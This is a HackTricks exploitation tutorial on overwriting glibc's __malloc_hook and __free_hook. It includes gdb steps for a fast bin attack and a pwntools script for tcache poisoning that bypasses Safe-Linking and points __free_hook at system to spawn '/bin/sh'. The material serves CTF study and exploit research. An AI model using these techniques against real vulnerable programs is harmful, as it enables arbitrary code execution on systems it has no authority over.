WWW2Exec - __malloc_hook & __free_hook

Reading time: 7 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Malloc Hook

As you can Official GNU site, the variable __malloc_hook is a pointer pointing to the address of a function that will be called whenever malloc() is called stored in the data section of the libc library. Therefore, if this address is overwritten with a One Gadget for example and malloc is called, the One Gadget will be called.

To call malloc it's possible to wait for the program to call it or by calling printf("%10000$c") which allocates too bytes many making libc calling malloc to allocate them in the heap.

More info about One Gadget in:

One Gadget

warning

Note that hooks are disabled for GLIBC >= 2.34. There are other techniques that can be used on modern GLIBC versions. See: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.

Free Hook

This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack:

Unsorted Bin Attack

It's posisble to find the address of __free_hook if the binary has symbols with the following command:

bash
gef➤  p &__free_hook

In the post you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function:

gef➤  x/20i free
0xf75dedc0 : push   ebx
0xf75dedc1 : call   0xf768f625
0xf75dedc6 : add    ebx,0x14323a
0xf75dedcc :  sub    esp,0x8
0xf75dedcf :  mov    eax,DWORD PTR [ebx-0x98]
0xf75dedd5 :  mov    ecx,DWORD PTR [esp+0x10]
0xf75dedd9 :  mov    eax,DWORD PTR [eax]--- BREAK HERE
0xf75deddb :  test   eax,eax ;<
0xf75deddd :  jne    0xf75dee50 

In the mentioned break in the previous code in $eax will be located the address of the free hook.

Now a fast bin attack is performed:

  • First of all it's discovered that it's possible to work with fast chunks of size 200 in the __free_hook location:
  • gef➤  p &__free_hook
    $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
    gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
    0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
    0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
    0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
    0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
    
    • If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
  • For this, a new chunk of size 0xfc is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size 0xfc*2 = 0x1f8 in the fast bin.
  • Then, the edit function is called in this chunk to modify the fd address of this fast bin to point to the previous __free_hook function.
  • Then, a chunk with size 0x1f8 is created to retrieve from the fast bin the previous useless chunk so another chunk of size 0x1f8 is created to get a fast bin chunk in the __free_hook which is overwritten with the address of system function.
  • And finally a chunk containing the string /bin/sh\x00 is freed calling the delete function, triggering the __free_hook function which points to system with /bin/sh\x00 as parameter.

Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33)

glibc 2.32 introduced Safe-Linking – an integrity-check that protects the single-linked lists used by tcache and fast-bins. Instead of storing a raw forward pointer (fd), ptmalloc now stores it obfuscated with the following macro:

c
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr)       PROTECT_PTR(&ptr, ptr)

Consequences for exploitation:

  1. A heap leak is mandatory – the attacker must know the runtime value of chunk_addr >> 12 to craft a valid obfuscated pointer.
  2. Only the full 8-byte pointer can be forged; single-byte partial overwrites will not pass the check.

A minimal tcache-poisoning primitive that overwrites __free_hook on glibc 2.32/2.33 therefore looks like:

py
from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p    = process("./vuln")

# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak   = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base   = heap_leak & ~0xfff
fd_key      = heap_base >> 12  # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")

# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a)           # tcache double-free ⇒ poisoning primitive

# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison    = free_hook ^ fd_key
edit(a, p64(poison))  # overwrite fd of tcache entry

# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48)           # returns chunk a
c = malloc(0x48)       # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))

# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)

The snippet above was adapted from recent CTF challenges such as UIUCTF 2024 – «Rusty Pointers» and openECSC 2023 – «Babyheap G», both of which relied on Safe-Linking bypasses to overwrite __free_hook.


What changed in glibc ≥ 2.34?

Starting with glibc 2.34 (August 2021) the allocation hooks __malloc_hook, __realloc_hook, __memalign_hook and __free_hook were removed from the public API and are no longer invoked by the allocator. Compatibility symbols are still exported for legacy binaries, but overwriting them no longer influences the control-flow of malloc() or free().

Practical implication: on modern distributions (Ubuntu 22.04+, Fedora 35+, Debian 12, etc.) you must pivot to other hijack primitives (IO-FILE, __run_exit_handlers, vtable spraying, etc.) because hook overwrites will silently fail.

If you still need the old behaviour for debugging, glibc ships libc_malloc_debug.so which can be pre-loaded to re-enable the legacy hooks – but the library is not meant for production and may disappear in future releases.


References

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks